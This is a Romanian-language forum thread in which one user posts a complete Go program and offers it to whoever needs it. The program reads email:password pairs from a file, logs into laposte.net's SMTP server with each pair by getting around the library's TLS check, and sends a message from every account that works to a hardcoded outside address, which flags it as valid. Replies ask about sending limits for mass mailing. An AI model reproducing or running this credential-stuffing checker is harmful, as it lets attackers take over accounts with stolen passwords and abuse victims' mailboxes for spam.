UnixDevel Posted January 27, 2021 Report Posted January 27, 2021 package main import ( "bufio" "fmt" "log" "os" "strings" "net/smtp" ) type unencryptedAuth struct { smtp.Auth } func (a unencryptedAuth) Start(server *smtp.ServerInfo) (string, []byte, error) { s := *server s.TLS = true return a.Auth.Start(&s) } func email(line string){ containsString := strings.Contains(line, "laposte.net") if(containsString == true){ stringSlice := strings.Split(line, ":") email :=stringSlice[0] password :=stringSlice[1] auth := unencryptedAuth { smtp.PlainAuth( "", email, password, "smtp.laposte.net", ), } err := smtp.SendMail( "smtp.laposte.net:465", // server address auth, // authentication email, // sender's address []string{"rixama1489@jentrix.com"}, // recipients' address []byte("Hello World!"), // message body ) if err != nil { log.Print(err) } fmt.Println(email) } } func main() { f, err := os.Open("emails.txt") if err != nil { log.Fatal(err) } defer f.Close() scanner := bufio.NewScanner(f) for scanner.Scan() { line := scanner.Text(); email(line) // fmt.Println(line) } if err := scanner.Err(); err != nil { log.Fatal(err) } } Il las aici poate ii trebuie cuiva Quote
Nytro Posted January 27, 2021 Report Posted January 27, 2021 []string{"rixama1489@jentrix.com"}, // recipients' address Quote
ardu2222 Posted January 28, 2021 Report Posted January 28, 2021 17 hours ago, Nytro said: []string{"rixama1489@jentrix.com"}, // recipients' address exista vreo modalitate sa se verifice limitele de sending sau alte restrictii inaninte de a trimite mass? Quote
UnixDevel Posted January 28, 2021 Author Report Posted January 28, 2021 7 hours ago, ardu2222 said: exista vreo modalitate sa se verifice limitele de sending sau alte restrictii inaninte de a trimite mass? nu cred ca este posibil din cauza protocolului SMTP Quote